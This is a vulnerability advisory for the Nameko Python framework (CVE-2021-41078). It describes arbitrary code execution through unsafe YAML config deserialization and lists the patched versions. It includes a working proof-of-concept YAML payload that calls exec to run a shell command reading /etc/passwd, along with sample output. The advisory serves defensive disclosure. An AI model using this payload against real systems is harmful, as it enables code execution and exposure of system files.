GHSA-6p52-jr3q-c94g

Dashboard / Vulnerabilities / GHSA-6p52-jr3q-c94g

GHSA-6p52-jr3q-c94g

Summary: Nameko Arbitrary code execution due to YAML deserialization

Details: ### Impact Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example: ``` yaml # malicious.yaml !!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "__import__('os').system('cat /etc/passwd')" ``` ``` shell $ nameko run --config malicious.yaml test root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin ... ``` ### Patches The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release. Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable. ### Workarounds The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

References: https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g, https://nvd.nist.gov/vuln/detail/CVE-2021-41078, https://github.com/nameko/nameko, https://github.com/nameko/nameko/releases/tag/v2.14.0, https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10, https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml